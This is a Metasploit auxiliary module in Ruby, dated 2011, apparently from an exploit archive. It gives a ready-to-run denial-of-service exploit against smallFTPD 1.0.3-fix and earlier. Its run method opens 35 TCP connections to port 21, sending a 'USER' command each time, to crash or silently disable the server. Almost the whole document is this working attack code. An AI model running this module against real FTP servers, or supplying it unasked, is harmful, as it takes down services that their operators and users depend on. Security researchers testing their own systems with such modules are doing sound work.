Smallftpd 1.0.3 FTP Server Denial of Service Vulnerability

# Exploit Title: smallFTPD Connection Saturation Remote Denial of Service
# Date: June 27, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://smallftpd.sf.net
# Version: 1.0.3-fix and earlier
# Tested on: windows xp, seven, 2k3

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Tcp    
 include Msf::Auxiliary::Dos

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'smallFTPD Connection Saturation Remote Denial of Service',
   'Description' => %q{
    This module triggers unauthenticated Denial-of-Service condition in SmallFTPD server versions 1.0.3-fix and earlier with a few dozens of connection requests. The vulnerability is probably conerned with smallftpd being unable to handle multiple connections regardless of its maximum connection settings. Upon successful DoS exploit, the smallftpd will crash or still seem functioning by showing its service banner. But in fact it stops denying new FTP  requests, which can be verified only through a valid login.
   },
   'Author'   => [ 'Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>' ],
   'License'         => MSF_LICENSE,
   'Version'         => '$Revision:  $',
   'References'     =>
    [
     [ 'URL', 'http://core.yehg.net/lab/pr0js/advisories/smallftpd_103-fix_saturation_dos' ]
    ],
   'DisclosureDate' => 'June 2010'))

   register_options(
    [
     Opt::RPORT(21)
    ],self.class)
 end

 def run

  print_status("Sending DOS Packets ...")
  
  35.times do |x|
   connect
   sock.put("USER CRASHED\r\n")   
   disconnect
  end
  
  print_good("Done")   

 end

end